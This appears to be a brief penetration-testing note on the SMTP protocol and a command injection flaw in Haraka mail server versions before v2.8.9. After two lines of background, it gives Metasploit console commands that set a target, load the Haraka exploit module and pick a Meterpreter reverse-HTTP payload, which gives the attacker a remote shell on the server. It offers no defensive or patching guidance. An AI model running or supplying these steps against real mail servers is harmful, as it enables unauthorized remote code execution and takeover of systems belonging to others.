SMTP

SMTP (Simple Mail Transfer Protocol) is used to send emails and typically runs on TCP port 25, but it can also be configured to use ports 465 or 587.

Haraka is a fast, open-source SMTP server built with Node.js. It includes a plugin for processing email attachments. However, Haraka versions before v2.8.9 have a command injection vulnerability, which could allow attackers to execute malicious commands on the server.

msfconsole -q
setg RHOSTS [TARGET]

search type:exploit name:haraka
use exploit/linux/smtp/haraka

set SRVPORT 9898
set payload linux/x64/meterpreter_reverse_http